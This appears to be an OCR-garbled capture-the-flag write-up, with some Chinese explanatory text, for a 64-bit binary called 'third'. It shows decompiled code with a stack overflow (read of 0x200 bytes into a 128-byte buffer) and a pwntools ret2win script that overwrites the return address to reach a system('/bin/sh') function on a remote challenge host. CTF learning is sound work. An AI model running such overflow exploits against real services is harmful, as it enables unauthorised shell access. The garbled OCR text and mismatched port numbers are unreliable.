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greic@ubuntu: ~

File Edit View Search Terminal Help
greic@ubuntu:~% file third
third: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter flib64/1d-linux-x86-64.s0.2, for GNUfLinux 2.6.32, BuildID[shal]=8dc
Bb3ec5a7b489e61a71bclafa7974135b0d3d4, not stripped
greic@ubuntu:~5 checksec third
[#]1 '/home/greic/third’
Arch: amd64-64-1ittle
RELRO:
Stack:
NX:
PIE:

greic@ubuntu:~% I
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ID4 View—4 Pseudocode—4 B @ Hex View-1 A Structures &= Enums
1int _ _cdecl main(int argc, const char **argv, const char **envp)

24

3| write(1, "Hello, World\n", @xDulL};

4| return vulnerable function(1LL);

C

}

#HelloWorld 27~ 2| fE % L, BEITRBEE:
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1struction Data | Unexplered External symbol B Lumina function

zl ID4 View-4 [ Pseudocode—4 B @  Hex Tiew-1 [ Structures [ =2

~ 1|ssize_t vulnerable_ function{)

1
21
3| char buf[128]; // [rsp+Bh] [rbp-88h] BYREF
il

5/ return read(®, buf, Bx200ull);

6

}
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A LLE R, bufR4EL T804 FT (Mrbp-80-rbp+0) fH Rread K H LN T0x200F %, Hit, XEHEFHKE
H, BEIFOUfEE:

-000PE0RRO0RBERSE ; D/AS* : change type (datafascii/array)

-000P000e0E000e8e ; N : rename

-000P0R0REREREASE ; U : undefine

-DPPPPOPROABLORSY ; Use data definition commands to create local wvariables and function arguments.
-0PAPORROARREARE ; Two special fields " r" and " s" represent return address and saved registers.
-9PPRPROREROROREA ; Frame size: 8@; Saved regs: 8; Purge: @

-0000PEERREEEEEEe ;

-0000000000000080

-PPPPRORPERRRERSE buf db 128 dup(?)

+0000000000000000 s db 8 dup(?)

+0000000000000008 db 8 dup(?)

+0000000000000010

+0000RPRRERARAR1A ; end of stack wvariables P
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:I (EID4 View—4 [E Pseudocode—4 B3 5| stack of vulnerable function

1lint callsystem()

2
3| return system("/bin/sh™);
4

h
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UER], REPIRKERBER, PHAFELET - FHSHNMIESE 2K, BEEZREHML:

« WS 330

::@@@@@@@@@@4@@596 public callsystem

1:0PPERERNRRARRS96 callsystem proc near

1:0PPEREANRRABRS96 ;  unwind {

11 0PPRRRCNBPARRS96 push rbp

1:90000006000400597 mow rbp, rsp

1 P00P00RRARAPASOA mow edi, offset command ; "/bin/sh”
1:000000000040059F call _system

1:00000000004005A4 pop rbp

1:0000PEEBRAABASAS retn

::00000000004005A5 ; } // starts at 400596

::00000000004005A5 callsystem endp CSDMN @Greic
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0x400596, Zit, RAVEF LAE tiexp:



Open~ =,

#! fusr/bin/python3

from pwn import *
sh=remote('111.200.241.244','58559")
pyloadil=b'a'*@0x88+p64(Ox400596)
sh.send(pyload1)

sh.interactive()
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greic@ubuntu: ~
File Edit View Search Terminal Help
greic@ubuntu:~5$ . /exp3.py

[+] Opening connection to 111.200.241.244 on port 50559: Done
[#] switching to interactive mode
Hello, World
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